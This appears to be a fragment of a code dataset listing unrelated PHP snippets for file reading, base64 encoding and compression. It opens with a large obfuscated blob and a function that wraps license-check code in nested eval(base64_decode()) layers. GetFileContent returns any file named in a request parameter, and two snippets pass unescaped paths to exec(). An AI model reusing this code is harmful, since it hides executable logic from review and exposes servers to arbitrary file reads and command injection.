bmxQTXpGc1pHMUdjMGxEYUdsWldFNXNUbXBTWmxwSFZtcGlNbEpzU1VObmJsRXliRk5sYkhCWlUyNUNXbFl6YUcxWmJHUkhUa1puZVdWSGVHbGhWVVUxVTFWU2JrNHdjRWhPVjNoclRWUnNObGRzYUV0alJteFlaREprVVZVd1NtOVpNalZMWVVkV1ZGRlhPVXhXU0U1eVdYcEtWMlZYUmxoU2JrNVpUVzVvYzFsdGJFSlBWV3hKVkdwQ2FtSllhSE5aYld4Q1lqQndTVlJ0ZUdwaVYzaHZXV3RPY2s0eGNIUlBXR3hLVVRKa2NsbFdUa0pQVld4RlVWUmtTbEV4U25kVFZWSXpXakJ3U1ZScVFtcGlSR3g2VjJ4ak1FNHdiRVJWYmtKS1VUTk9lVk14VGtOT01rWllWMWRrVEZFeFNuZFRWVkl6V2pCd1NWUnRlR3BpVjNodldXdFpOV1JHYkZsaFIxcHBVakZhTVZNeFRrTk9NSEJJVGxkNGEwMVViRFpYYkdoTFkwWnNXR1F5WkZobFZrcDNWMFpPUWs5VmJFbFVha0pxWW10S01sa3piRUppTUhCSVVtNU9hVko2YTNwWGJHUlRXbTFOZW1KSVVscGlWR3g2V1ROc00xb3djRWxVYlhocVlsZDRiMWxyVGtOWmEzQklZa2RTVEZaSVVUVlhiR1EwWld4d1ZGRnFaRXRTZWxaeldrUkZOV1ZzY0ZsVGJrSmFWak5rYmxZemJGTmpSWEJWWWtkU1NsRXpUVFZUVldoUFRVZE9kVkZ1V21wbFZVWjJVMnRrUjJNeVNraFBWRTVoVmpGS2JWbDZUbk5rUm14MFQxaE9hbVZZWkc1VGEyaFBZa2RPZEdKSGFHbFJNRXBwVTJ0a2MxcEZkRlZrUkd4dFZqRndNbGt5TVZkaFJtdDVXakprVEZFeFNqRlhiR2hyV20xTmVWWnViR2hXTUZwNlUxVmtSMlZyYkVSVmJrSktVa1JCY2xOVlRscGFNSEJJWlVkNGExTkdTbk5aTW14eVdqSldOVlZ1VG1GWFJrbDNWMnhvU2xveFFsUlJWM1JxVFRKNE1GZFhNRFZqTWsxNFQxZHdhVTB4V2pGYVJVNUNaRVZzUlZKWFpFMVZNRVp5V1d0a1YwMUhVa2hXYm14S1VURldibE5yYUU5T1YwcFlVMjVhYVZORk5XMVhWRWsxVFZkS2RWVlVaRXRTTTJoeldrVm9VMkpIVG5CUlZHeEtVVEZLYjFsclpEUmtiVkY1Vm0xMFdVMHdOREZaYkdSTFpHMUtTVlJYWkZobFZrcDZWMnhvVTAxR2NGbFRiVkpRVFhwR2MxcEhNVWRqTUd4RVlVZHNXbGRGTlhOVWJYQlRXbXh3U0ZadGNHbE5iRXB6VTFWT2JtRldaSFJOUkZac1ZtNUNXVlZ0TVhkaFJrVjNVbTVhVkdFeVRYaFphMlJTWlVVNVdXTkhSbGhTV0VJelZqRmFhMDB4YjNoaVJteFZWakpTVEZWcVNqQmliRlpIVlZSQ1lVMUlRa2xhVldRMFlURk9SMU51VGxwTmJYaDVWMnBLVjA1V1ZuVlViVVpZVW10c00xWXllRzlUYkc5NFVXeFNVbFl6VW05V1ZFSkhaVVpPVmxWck5VNVNWM2hGV1hwS2EyRlZNSGRqU0VwVVZsVTFkVmxVU2t0VFJscHhVVzEwVTAxV2J6RlZla1pQVVcxU1JtSkZiRlZoYTBweFdXMTBTMDFzYTNwaVJVcHBUVWhDU1ZWdE5VOWhWa28yWVROd1dHSkhVbFJYYlRGT1pXMUtTVlZzY0dsV1IzZzJWMVJPYzAweGIzZGpSV2hzVWpOb2NsVXdXa3RqTVd0NVlraEtZVTFWU2taYVJFcHJWRzFHZFZSdVNscGhNbEpZVkZWa1UxTkdXblZpUlhCVFVrVktkVlV5ZEd0T1IwcElWV3RzVm1KWWFIRlpWbFpIWXpGT1ZsUnNUbXhpVmxwWlZGWmtjMkZWTVhWaFJGcFlVa1Z3VUZwSE1WTlhSVFZWVVd4Q2JGWnJjRFpXTW5odlZUQXhSMk5HYkZSV01sSlNWbFJDUjJOc1pGZGFSRkpxVFd0c05sZHJaRFJaVmtweFlrUmFZVlp0VGpSWlZtUktaVmRXU1dORmNGTmlhelY1VjFkMGExWXdNVWhWYTJoWFltMTRXbFpyYUZKT1ZrNXlXWHBHYVZJeFJqUlVNV2gzV1Zaa1JtTklaRmhXYlZFd1YyMHhUbVZzVm5WaVJYQlRVa1ZLZFZkV1kzZE9WMDVJVTI1Q1VsWjZiRXhhVm1SUFpXeE9WbFJzVG10V2JrSmFWMnRrWVdGck1YTlhhbFphVm0xU1NGbDZRakJXVjFKRlVtMXNhV0Y2Vm5wWGExWlBVVzFKZDJORmFFOVdNMmh5VkZaU2MwNXNaSE5oUlhScVVtMTRXVnBFVGtOVlIxWlhVMWhrV0dKSFRqUmFSRVp1WlZkS1NHUkZjRk5TUlVwMVZUSjBhMk15UlhkUFZGWldZbTVDY2xVd1ZuZGlWbXhYV2taS1lVMVZTbFZWVm1SelUyMUdkVlJxU2xSTmJYaFVXVEJhZDFKWFRYcFNhekZPWWtoQmVWZFVTbk5SYlVsM1kwVm9hRTF0VWxKV1ZFSkhUVEZSZW1KRlNtaE5hMXBWVlZaU2IxTnNTa2RTVkU1VVZsVTFWRmt3Vm5OU1IwMTZVMnQ0VmsxRmEzcFZNblJyVGtkS1NGVnJiRlppV0doeFdWWldSazVXVGxaYVIwWnFUV3RzTlZReGFITlRiRVY1V2toYVZHRXlVbnBaVkVKelVrWmFXRnBIY0ZObGJYUTJWVEZXVDJKdFJYbFVXSEJwVTBaS1lWbHNVbk5sYkd3MlVsUldhR0pWYkRaV2JUVlhZVEZGZWxwSE5WUmhNbEo1V1RKemVGWkhSWHBSYTNCU1pXMW9kVmRVUW1wT1ZUQjNZa1ZTWVUxdVVuRlVWRW8wVFVaa1dFMUVWbXBOYXpFMFZERmtkMkZWTUhoWGFrWmhVbFUwZWxkcVFuZFRSMFY2VVd0NFYxTkZOWGxYVjNSclZqQXhTRlZyYUZkaWJYaExWV3RTUTJKc1RuSmhSVGxQVmpCd1dWVXlOV0ZoVms1R1RsY3hXRlpGYXpGVVZtUkxaRlpXV0ZwRk1WWk5SVnA1VjFkMGExWXdNVWhWYTJoWFltMTRTMVZZY0VOaWJGSlhWVzV3YUUxcmNFbFdiWEJEWVRGSmVGZHFWbFJXVmtZelYycENkMU5HU25WVWJXeFRaVzEwTmxZeWVHdFZNWEIwVkZod2FWTkdTbUZaYkZKelpXeHJlbUpGVGxwaE0wSkpXbFZrTkdFeFRrZFRiazVhVFc1a00xUnFRbmRUVmxKeFVXMXdhVkpIZUROV01uUlBVVzFTVjFGc1VsSldNMUp3VldwR1dtUXhjRVphUm1Sc1ZsUm9ObFJXWkRSaE1rcFdWMjV3VkZaVk5YWlpWbHB6VjFaU2RHVkZPV2hpUlhCMFZqSjBhMVl5Um5SVFdHeFdZbGhvUzFWVVNtdGpSbFY1WkVkMGFrMXJWak5aYTFaWFZHeEplVlZyZUZaTlJuQk1XWHBHYzJNeVJrWlViVVpwVmxad1dsWnNXbE5oTVUxNFZHdGFUMWRGTldGVVYzQkhaV3hzVmxwRmRGTlNhMXBXV1d0V2QxVnJNVlppZWtwWVlURmFkbFY2Um5ka1JrcHpZVVphV0ZKc2NFeFhWbHBUVVRKT1IxVnJhRTVXTUZweFZGZDBjMDVXVVhoaFNFNVVZa1ZXTlZkcmFHRldSMFY1WVVaa1dHRnJTak5XYTFwSFYxZEdSazVXVGxOV1ZtOTZWbFJHVjFSck5VZGlNMlJPVm14YVUxWXdWa3RUTVZaWlkwWk9hV0pIZHpKV1IzaHJZVVpaZDAxVVdsZFdlbFo2VlRKNFJtVldjRWxUYkhCcFZrVmFXVlpHVWtkaWJWWnpWVzVTYkZJelFuQldhazV2Wkd4a1dHUkdjRTlXTVZvd1ZsZDBjMVpHWkVaT1ZYUldZVEZhU0ZwWGVFOVdiRlp5WTBkd1UxWXphRVpXUjNScllURk5lRlJyWkZkaVZGWlZXV3RWTVZFeGNGWldXR2hUVW10YVdsWnRkSGRWYXpGSVpETmtWazFYVW5sVVZtUlhaRVpXYzJGR1VtbGlhMHA1VmxSQ1YyTXlTbk5VV0dSVllrVTFjbFp0TlVOWGJHUnlXa2RHYUdGNlJucFdNbkJYVjJ4YWRGVnJhRnBsYTFwMVdsZDRVMk5XUm5SalIyaFlVakZLTVZaclpEQlVNREI0WWpOa1QxWldTbTlhVnpGVFZFWlZkMVpVUm1wTlYzUTFWRlpvVDJGR1NYZGpSVlpXVm14S2VsVXllRTlTYXpWSldrWndUbUZzV2xWWGEyTjRWVEZrVjFKdVZtRlNNRnBaVld4a05HUldWalpSYXpsV1RXeGFlbGt3V25OV1IwcHlVMjFHVjJGck5YSmFSRVpUVG14T2MxUnRiRk5pYTBsM1YxZDBiMVl4YkZkV1dHUlRZbXh3VlZacVRsSk5SbFY1WlVWYWEwMVdjSGxVTVZwaFZHeEtjMk5JVWxkaE1VcEVXbGN4UjFadFZrWlZiRXBwWW10S2VWWlVRbGRrYlZGNFlraEdWR0ZzU25KWmJGcEhUbFphZEU1WVRsVlNhMVkwVlRJMVIxZHRSbkpqUmxKYVlURlpkMVpyV2tkV1YwcEhVbXhhVGxKWE9IbFdNblJYWWpGTmQwMVZhRlJYUjNoelZUQmFkMk5zVWxobFIwWlBWbXN4TTFaSGVFOWlSMHBKVVd4d1ZrMXFWa1JXTW5oYVpXeHdTVnBHVWs1V2EyOHlWVEZrYzJOdFRrWlBWRTVSVmtSQ1RGTlhiSEpqUlRrelVGUXdia3RUYXpjbktTazcnKSk7IGlmICgkdXNlcnMgPT0gMCkgJHVzZXJzID0gMTsgaWYgKCR1c2VycyA9PSA0OTUpICR1c2VycyA9IDEwMDAwMDA7IGlmICghTElDRU5TRV9PSykgeyBpZiAoISBlbXB0eSAoJF9QT1NUIFsnY29kZSddKSkgeyAkdGhpcy0+dmlldy0+bW9kZSA9IDE7IH0gZWxzZSB7ICR0aGlzLT5fcmVkaXJlY3QgKCcvaW5kZXgvYWN0aXZhdGUnKTsgfSB9IGVsc2UgeyBldmFsKGJhc2U2NF9kZWNvZGUoImFXWWdLSE4wY214bGJpQW9KR3RsZVNrZ0lUMGdNVGtwSUNCN0lDUjBhR2x6TFQ1ZmNtVmthWEpsWTNRZ0tDY3ZhVzVrWlhndllXTjBhWFpoZEdVbktUc2dmU0JsYkhObElIc2dKR2hqYjJSbElEMGdjM1ZpYzNSeUlDZ2thMlY1TENBeE5TazdJQ1JrSUQwZ0lDaGlZWE5sTmpSZlpXNWpiMlJsSUNoa2FYTnJYM1J2ZEdGc1gzTndZV05sS0NSZlUwVlNWa1ZTSUZzblJFOURWVTFGVGxSZlVrOVBWQ2RkS1NrcE95QWtjaUE5SUNBb1ltRnpaVFkwWDJWdVkyOWtaU0FvSkY5VFJWSldSVklnV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBwS1RzZ0lDUmpiMlJsSUQwZ0pHUXVKSEk3SUNBa2NsOXNaVzRnUFNCemRISnNaVzRnS0NSeUtUc2dKSE5sY21saGJDQTlJQ2NuT3lBa1lXeHNiM2RsWkY5emVXMWliMnh6SUQwZ0lqSXpORFUyTnpnNVlXSmpaR1ZuYUd0dGJuQnhjM1YyZUhsNklqc2dKSE41YldKdmJITmZZMjkxYm5RZ1BTQnpkSEpzWlc0Z0tDUmhiR3h2ZDJWa1gzTjViV0p2YkhNcE95QWdabTl5SUNna2FTQTlJREE3SUNScElEd2djM1J5YkdWdUlDZ2tZMjlrWlNrN0lDUnBJQ3NyS1NCN0lHbG1JQ2drYVNBbElESWdQVDBnTUNrZ2V5QWtiR1YwZEdWeUlEMGdiM0prSUNna1kyOWtaVnNrYVYwcE95QWtiR1YwZEdWeUlEMGdKR3hsZEhSbGNpQWxJQ1J6ZVcxaWIyeHpYMk52ZFc1ME95QWtiR1YwZEdWeUlDczlJQ1JzWlhSMFpYSWdQajRnSkdrZ0t5QWthVHNnSUNSc1pYUjBaWElnUFNBa2JHVjBkR1Z5SUQ0K0lESTdJQ1JzWlhSMFpYSWdQU0FrYkdWMGRHVnlJRjRnTlRFM095QWtiR1YwZEdWeUlDbzlJRzl5WkNBb0pHTnZaR1VnV3lScFhTazdJSDBnWld4elpTQjdJQ1JzWlhSMFpYSWdQU0J2Y21RZ0tDUmpiMlJsV3lScFhTa2dLeUJ2Y21RZ0tDUmpiMlJsSUZza2FTMHhYU2txTkRzZ2ZTQWtiR1YwZEdWeUlEMGdKR3hsZEhSbGNpQWxJQ1J6ZVcxaWIyeHpYMk52ZFc1ME95QWtiR1YwZEdWeUlEMGdKR0ZzYkc5M1pXUmZjM2x0WW05c2N5QmJKR3hsZEhSbGNsMDdJQ1J6WlhKcFlXd2dMajBnSkd4bGRIUmxjanNnZlNBZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDSmFXRnBvWWtOb2FWbFlUbXhPYWxKbVdrZFdhbUl5VW14TFEwcExVMFUxYzFreU1YTmhSMHBIVDFoU1dsZEhhRzFaYTJSWFpGVnNSVTFIWkU5U1NFNXVVMVZPVTJSV2NGbGFSMXBxVFd4YU5WbFdaRWRqTUd4RlRVZGtXbGRGY0RWWFZtaHlXakIwUkdGNlpFcFJNVW8yVjJ4b1MyTkdiRmhsUjFwcFVqRmFNVk5WVVhkYU1rMTZWVzVzYVZJeFdqRlRWVTV1WVRKTmVWWnViR2hXTUZwNlV6RlNlbG93YkVoWGJscHFZVlZHZGxOclpISmFNVUpVVVZoa1VHVlZSbkpaVms1Q1QwVnNSRlZ1Y0dGWFJYQjNWMVprTkZwdFNraFdibFpRWlZWR2NsbFdUa0pqYTNRMVlUSmtiR1ZWU25kWGJXeENZakJ3U0dFeVpGRlJNRVp5V1hwS1YyVlhSbGhTYms1WlRXcEdiMXBWV1RWak1YQllUa2hDU2xOSVRtNVRhMk14WWtkUmVFOVljR0ZYUlhCM1YxWmtNMW94WkRWVmJrSlpWVEJGTlZOVlRsTmxiSEJaVTI1Q1dsWXpaRzVXTTJ4VFkwWm9WV015WkcxVk1FcHpXV3RvVDJKRmJFbGpNbVJMVW5wV2MxcEVSVFZsYkhCWlUyNUNXbFl6Wkc1V00yeFRZMFZ3VlZWdFVrcFJNMDAxVTFWT1UyVnNjRmxUYmtKYVZqTmtibFl6YkZOalJtaFZZekprYlZVd1NUVlRWVTVEWWxkSmVsTnRlRnBXTURWMlUxVk9ibUV5U25SV2FrNVpUVEExYzFreU1YTmhSMHBFVVcxb2FtVlZSbkpaVms1Q1QxWkNjRkZYTVVwUk1VcDZWMnhvVTAxR2NGbFRXRUpLVTBoT2JsTnJaRFJpUjFKSlZXMTRhbUZWUlRWVFZVNVRaVzFXV0UxWGJHbE5ibWcyVjBSS1QyUnRVbGhPVkVKS1VYcENibFJXVGtKa1JXeEVWVzVPWVZkR1NYZFhiR2hLV2pCd1ZGRlhkR3BOTW5nd1YxY3dOV015VFhoUFYzQnBUVEZhTVZwRlVucGFNSEJJWlVkNGExTkdTbk5aTW14Q1QxVnNSRlZ0YUdsU00yZ3lXa1JLVjJFeFozcFVhbFpwVmpCd01sbHJhRTVhTVdRMVZXNU9ZVmRHU1hkWGJHaExXa1U1TlZGcWJFcFJNRXAwV1dwT1Nsb3dkRVJWYmtKS1VrUkNibFJWVW5wYU1IQklZVEprVVZFd1JYZFVNMnhDWTJ0ME5WRlhkR2hWTW5SdVdsaHNRbUV5U25SV2FrNVpUVEExYzFreU1YTmhSMHBIWXpKMGFGWnFRbTVWUms1Q1lUSk5lVlp1YkdoV01GcDZVMVZhZW1FeVJsZE5SR1JLVTBSQk9VbHBhM0JQZVVGblNrZE9kbHBIVldkUVUwSnhZakpzZFVsRFoyNUtlWGRuU2tjMWJHUXhPWHBhV0Vwd1dWZDNjRTk1UVdkS1IwNTJXa2RWWjFCVFFucGtWMHA2WkVoSlowdERVbnBhV0Vwd1dWZDNjMGxFUVhOSlJGRndUM2xDY0ZwcFFXOWpNMUo1WkVjNWMySXpaR3hqYVVGdlNrZE9kbHBIVlhCSlEwVTVTVWhPTUdOdVVuWmlSemt6V2xoSlowdERVbTlaTWpscldsTnJjRWxJYzJkSlIyeHRTVU5uYUVsSFZuUmpTRkkxU1VObmExZ3hRbEJWTVZGblYzbGthbUl5VW14S01UQndTMU5DTjBsRFVqQmhSMng2VEZRMU1tRlhWak5NVkRWMFlqSlNiRWxFTUdkTlZITm5abE5DYkdKSVRteEpTSE5uU2toU2IyRllUWFJRYkRsNVdsZFNjR050Vm1wa1EwRnZTbms1Y0dKdFVteGxRemxvV1ROU2NHUnRSakJhVTJOd1QzbENPVWxJTUdkYVYzaDZXbGRzYlVsRFoydGtXRTVzWTI1Tk9FNUVhekZMVTBJM1NVTlNlR1JYVm5sbFUwRTVTVU5rVkZKVmVFWlJNVkZuV1RJNU1XSnVVVzloVjFGd1NVZEdla2xITlRGaVUwSkhWV3M1VGtsSFVtaFpNamwxWXpFNU1XTXlWbmxqZVVKWVUwVldVMUpUUW1wa1dFNHdZakl4YkdOc09YQmFRMEU1U1VOamRXRlhOVEJrYlVaelMwTlNNR0ZIYkhwTVZEVjZXbGhPZW1GWE9YVk1WRFZxWkZoT01HSXlNV3hqYkRsd1drTnJkVXA1UWtKVWExRm5ZMjFXYUZwSE9YVmlTR3M0VUdwRloxRlZOVVZKUjJ4NldESkdhMkpYYkhWSlJEQm5UVU5qTjBsRFVubGlNMk5uVUZOQmEyUkhhSEJqZVRBcldrZEpkRkJ0V214a1IwNXZWVzA1TTBsRFoydGpXRlpzWTI1cmNFOTVRbkJhYVVGdlNraEtkbVI1UW1KS01qVXhZbE5rWkVsRU5HZEtTRlo2V2xoS2VrdFRRamRKUjJ4dFNVTm5hRWxIVm5SalNGSTFTVU5uYTFneFFsQlZNVkZuVjNsa2FtSXlVbXhLTVRCd1MxTkNOMGxEVWpCaFIyeDZURlExTW1GWFZqTk1WRFYwWWpKU2JFbEVNR2ROVkhOblNraFNiMkZZVFhSUWJscHdXbGhqZEZCdVpHeFlNalZzV2xkU1ptSlhPWGxhVmpreFl6SldlV041UVRsSlNGSjVaRmRWTjBsSU1HZGFWM2g2V2xOQ04wbERVakJoUjJ4NlRGUTFabU50Vm10aFdFcHNXVE5SWjB0RFkzWmhWelZyV2xobmRsbFhUakJoV0Zwb1pFZFZia3RVYzJkbVUwSTVTVWRXYzJNeVZXZGxlVUZyWkVkb2NHTjVNQ3RrYld4c1pIa3dLMkpYT1d0YVUwRTVTVVJKTjBsSU1HZG1VVDA5SWlrcE8zMD0iKSk7ICAgfQ==\"));\n\n $i = 0;\n while (($encoder_start = strpos ($content, \"//<encoder_start>\")) !== false) {\n $encoder_end = strpos ($content, \"//<encoder_end>\");\n $content_start = substr ($content, 0, $encoder_start);\n $content_to_encode = substr ($content, $encoder_start + strlen (\"//<encoder_start>\"), $encoder_end - $encoder_start - strlen (\"//<encoder_start>\"));\n $content_end = substr ($content, $encoder_end + strlen (\"//<encoder_end>\"));\n \n $content_to_encode = \"eval(base64_decode('\".base64_encode ($code.$content_to_encode).\"'));\";\n //$content_to_encode = $code;//.$content_to_encode;\n \n $content = $content_start . $content_to_encode . $content_end;\n //echo \"\\n\\n\\n\\ni : $i \\n\\n\\n\\n\".($content);\n $i ++;\n }\n return $content;\n}", "public function gatherFileData()\n {\n $files = get_included_files();\n\n $fileList = array();\n\n $fileTotals = array(\n \"count\" => count($files),\n \"size\" => 0,\n \"largest\" => 0,\n );\n\n foreach($files as $key => $file) {\n $size = filesize($file);\n\n $fileList[] = array(\n 'name' => str_replace(BASEPATH, '/', $file),\n 'size' => $this->getReadableFileSize($size)\n );\n\n $fileTotals['size'] += $size;\n\n if($size > $fileTotals['largest']) $fileTotals['largest'] = $size;\n }\n\n $fileTotals['size'] = $this->getReadableFileSize($fileTotals['size']);\n $fileTotals['largest'] = $this->getReadableFileSize($fileTotals['largest']);\n\n $this->output['files'] = $fileList;\n $this->output['fileTotals'] = $fileTotals;\n }", "private function _build_attachments () {\n $sep = chr(13).chr(10);\n $ata = array();\n $k=0;\n\n foreach ((array) $this->attachments as $att) {\n $path = $att['path'];\n $name = $att['name'];\n $mimetype = $att['mimetype'];\n $disposition = $att['disposition'];\n $contentID = $att['cid'];\n $data = file_get_contents($path);\n\n $subhdr = '--'.$this->boundary.\"\\nContent-type: \".$mimetype.\";\\n\\tname=\\\"\".$name.\"\\\"\\nContent-Transfer-Encoding: base64\\nContent-Disposition: \".$disposition.\";\\n\\tfilename=\\\"\".$name.\"\\\"\\n\";\n if ($contentID) $subhdr .= 'Content-ID: <'.$contentID.\">\\n\";\n $ata[$k++] = $subhdr;\n $ata[$k++] = chunk_split(base64_encode($data)).\"\\n\\n\";\n }\n $this->full_body .= \"\\n\".implode($sep, $ata);\n }", "function get_file_data($file) {\n\t$file = APP_DIRECTORY . $file;\n\t$file_comments = get_file_comments_for_data($file);\n\n\t// Split the comments string by line\n\t$file_comments_array = preg_split('/\\R/', $file_comments[1]);\n\n\t// Loop through each line and search for data\n\t// @todo - add argument to search for title or slug, etc\n\t// @todo - add comment data for type - so layouts/components can live in 1 directory \n\t$file_data = array();\n\tforeach ( $file_comments_array as $comment_line ) {\n\t\tif (strpos($comment_line, '@title') !== false) {\n\t\t\t$file_data['title'] = str_replace(' * @title ', '', $comment_line);\n\t\t}\n\n\t\tif (strpos($comment_line, '@slug') !== false) {\n\t\t\t$file_data['slug'] = str_replace(' * @slug ', '', $comment_line);\n\t\t}\n\n\t\tif (strpos($comment_line, '@type') !== false) {\n\t\t\t$file_data['type'] = str_replace(' * @type ', '', $comment_line);\n\t\t}\n\t}\n\n\t// Return data\n\treturn $file_data;\n}", "function enc($data)\n {\n return base64_encode($data);\n }", "public function getConcatenateFiles() {}", "function GetFileContent()\n{\t\n\t$sFileUrl = ''; \n\t$sFileContent = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t\n\t$sFileUrl = $_REQUEST['file-path']; \n\t\n\t\n\tif(file_exists($sFileUrl) === false)\n\t{\n\t\techo '<fail>file not exist</fail>';\n\t\treturn;\n\t}\n\t\n\tif(is_file($sFileUrl) === false)\n\t{\t\n\t\techo '<fail>this is not a file</fail>';\n\t\treturn;\n\t}\n\t\n\t\n\t\n\t$sFileContent = file_get_contents($sFileUrl); \n\tif($sFileUrl === false)\n\t{\n\t\techo '<fail>cant open file</fail>';\n\t\treturn;\n\t}\n\t\n\techo '<mdhash>'.md5($sFileContent).'</mdhash>';\n\techo '<correct>correct get file</correct>';\n\techo base64_encode($sFileContent);\n\treturn true;\n}", "public static function generateBase64($path = null) {\n\n if(isset($path)) {\n\n $img = Image::make(public_path('storage/'.$path));\n\n $data = (string) $img->encode('data-url', 60);\n\n return $data;\n\n } else {\n throw new ImageUploaderException(\n \"Path is empty\"\n );\n }\n\n }", "function getData() {\n\t\treturn file_get_contents($this->getFile());\n\t}", "function comp_file_get_contents($filename) {\n\treturn implode(\"\", file($filename));\n}", "protected function getContentFromCacheFile() {}", "function Attachment_data($image_url)\n{\n $image = file_get_contents($image_url); \n $encode = base64_encode($image);\n return chunk_split($encode); \n}", "function _serialize( &$data ) {\n\t\t$serial = serialize( $data );\n\t\tif( function_exists( 'gzdeflate' ) ) {\n\t\t\treturn gzdeflate( $serial );\n\t\t} else {\n\t\t\treturn $serial;\n\t\t}\n\t}", "public function content()\n {\n return base64_decode(chunk_split($this->content));\n }", "public function filelist($data)\n {\n $data = trim($data);\n if ($data === '') {\n return '';\n }\n $data_arr = explode('|', $data);\n // read directory:\n // MUST exist!\n $path = '';\n if ($this->getTypoScriptFrontendController()->lockFilePath) {\n // Cleaning name..., only relative paths accepted.\n $path = $this->clean_directory($data_arr[0]);\n // See if path starts with lockFilePath, the additional '/' is needed because clean_directory gets rid of it\n $path = GeneralUtility::isFirstPartOfStr($path . '/', $this->getTypoScriptFrontendController()->lockFilePath) ? $path : '';\n }\n if (!$path) {\n return '';\n }\n $items = [\n 'files' => [],\n 'sorting' => []\n ];\n $ext_list = strtolower(GeneralUtility::uniqueList($data_arr[1]));\n $sorting = trim($data_arr[2]);\n // Read dir:\n $d = @dir($path);\n if (is_object($d)) {\n $count = 0;\n while ($entry = $d->read()) {\n if ($entry !== '.' && $entry !== '..') {\n // Because of odd PHP-error where <br />-tag is sometimes placed after a filename!!\n $wholePath = $path . '/' . $entry;\n if (file_exists($wholePath) && filetype($wholePath) === 'file') {\n $info = GeneralUtility::split_fileref($wholePath);\n if (!$ext_list || GeneralUtility::inList($ext_list, $info['fileext'])) {\n $items['files'][] = $info['file'];\n switch ($sorting) {\n case 'name':\n $items['sorting'][] = strtolower($info['file']);\n break;\n case 'size':\n $items['sorting'][] = filesize($wholePath);\n break;\n case 'ext':\n $items['sorting'][] = $info['fileext'];\n break;\n case 'date':\n $items['sorting'][] = filectime($wholePath);\n break;\n case 'mdate':\n $items['sorting'][] = filemtime($wholePath);\n break;\n default:\n $items['sorting'][] = $count;\n }\n $count++;\n }\n }\n }\n }\n $d->close();\n }\n // Sort if required\n if (!empty($items['sorting'])) {\n if (strtolower(trim($data_arr[3])) !== 'r') {\n asort($items['sorting']);\n } else {\n arsort($items['sorting']);\n }\n }\n if (!empty($items['files'])) {\n // Make list\n reset($items['sorting']);\n $fullPath = trim($data_arr[4]);\n $list_arr = [];\n foreach ($items['sorting'] as $key => $v) {\n $list_arr[] = $fullPath ? $path . '/' . $items['files'][$key] : $items['files'][$key];\n }\n return implode(',', $list_arr);\n }\n return '';\n }", "public static function monochrome($data)\n {\n try {\n // Store as tempfile\n $fileIn = tempnam(sys_get_temp_dir(), 'pdf-compress-').'.pdf';\n $fileOut = tempnam(sys_get_temp_dir(), 'pdf-compress-');\n file_put_contents($fileIn, $data);\n\n exec(\"/usr/bin/pdftoppm -png -aa yes $fileIn $fileOut\");\n $files = glob($fileOut.'-*.png');\n exec(\"convert -colorspace gray +dither -colors 2 -type bilevel \".implode(' ', $files).' '.$fileOut.'.pdf');\n\n $result = file_get_contents($fileOut.'.pdf');\n\n // Remove temp\n unlink($fileIn);\n unlink($fileOut.'.pdf');\n foreach($files as $file) {\n unlink($file);\n }\n\n } catch (\\Exception $exception) {}\n\n return $result;\n }", "function gzip_encode($level = 3, $debug = false) {\n\tglobal $HTTP_ACCEPT_ENCODING;\n\tif (!function_exists('gzcompress')) {\n\t trigger_error('gzcompress not found, ' .\n\t\t 'zlib needs to be installed for gzip_encode',\n\t\t E_USER_WARNING);\n\t return;\n\t}\n\tif (!function_exists('crc32')) {\n\t trigger_error('crc32() not found, ' .\n\t\t 'PHP >= 4.0.1 needed for gzip_encode', E_USER_WARNING);\n\t return;\n\t}\n\tif (headers_sent()) return;\n\tif (connection_status() !== 0) return;\n\t$encoding = $this->gzip_accepted();\n\tif (!$encoding) return;\n\t$this->encoding = $encoding;\n\n\tif ($level === true) {\n\t $level = $this->get_complevel();\n\t}\n\t$this->level = $level;\n\n\t$contents = ob_get_contents();\n\tif ($contents === false) return;\n\n\t$gzdata = \"\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\"; // gzip header\n\t$size = strlen($contents);\n\t$crc = crc32($contents);\n\t$gzdata .= gzcompress($contents, $level);\n\t$gzdata = substr($gzdata, 0, strlen($gzdata) - 4); // fix crc bug\n\t$gzdata .= pack(\"V\",$crc) . pack(\"V\", $size);\n\n\t$this->size = $size;\n\t$this->crc = $crc;\n\t$this->gzsize = strlen($gzdata);\n\n\tif ($debug) {\n\t return;\n\t}\n\n\tob_end_clean();\n\tHeader('Content-Encoding: ' . $encoding);\n\tHeader('Vary: Accept-Encoding');\n\tHeader('Content-Length: ' . strlen($gzdata));\n\tHeader('X-Content-Encoded-By: class.gzip_encode '.$this->_version);\n\n\techo $gzdata;\n }", "public function packerThreePack($data)\n {\n $encoded = base64_encode($data);\n\n // Separa em dois pedaços\n $partOne = mb_substr($encoded, 0, 15, \"utf-8\");\n $partTwo = mb_substr($encoded, 15, null, \"utf-8\");\n\n // Insere 'Sg' para invalidar o base64\n return $partOne . 'Sg' . $partTwo;\n }", "public function zippedFile()\r\n {\r\n $data = implode(\"\", $this->datasec);\r\n $ctrldir = implode(\"\", $this->ctrlDir);\r\n\r\n return $data.\r\n $ctrldir.\r\n $this->eofCtrlDir.\r\n pack(\"v\", sizeof($this->ctrlDir)). // total number of entries \"on this disk\"\r\n pack(\"v\", sizeof($this->ctrlDir)). // total number of entries overall\r\n pack(\"V\", strlen($ctrldir)). // size of central dir\r\n pack(\"V\", strlen($data)). // offset to start of central dir\r\n \"\\x00\\x00\"; // .zip file comment length\r\n }", "protected function filesToString()\n {\n $this->log(sprintf('%s', __METHOD__), 'debug');\n\n return implode(\"\\n\", $this->card->getFiles());\n }", "public function default_zip($val) {\n\t\t$this->mutter(\"\\ngzipping \".basename($val).\"...\");\n\t\t$data['file_size'] = filesize($val);\n\t\texec(\"/usr/bin/gzip -c $val > $val.gz\",$output);\n\t\tusleep(10000);\n\t\t//unlink(\"{$this->dir}/$val\");\n\t\t$data['file_size_compressed'] = filesize(\"$val.gz\");\n\t\t$data['file_name'] = basename($val);\n\t\treturn $data;\n\t}", "public function getBase64(): string;", "public function getRawData()\n\t{\n\n\t\treturn @file_get_contents($this->tmpFileName);\n\n\t}", "function cemhub_get_generated_flat_files() {\n return file_scan_directory(cemhub_get_files_repository_path(TRUE), '/.*\\.txt|.pgp$/');\n}", "function gzip_echo($data){\n\tob_start();\n\tob_implicit_flush (true);\n\tprint (string)$data;\n\tprint_gzipped_output();\n\texit();\n}", "function packJs( $p_srcDir, $ignores = null )\n\t{\n\t\t$data = \"\";\n\t\t$jsFiles = scanRecursively( $p_srcDir, $ignores ); \n\t\t$bigJs = 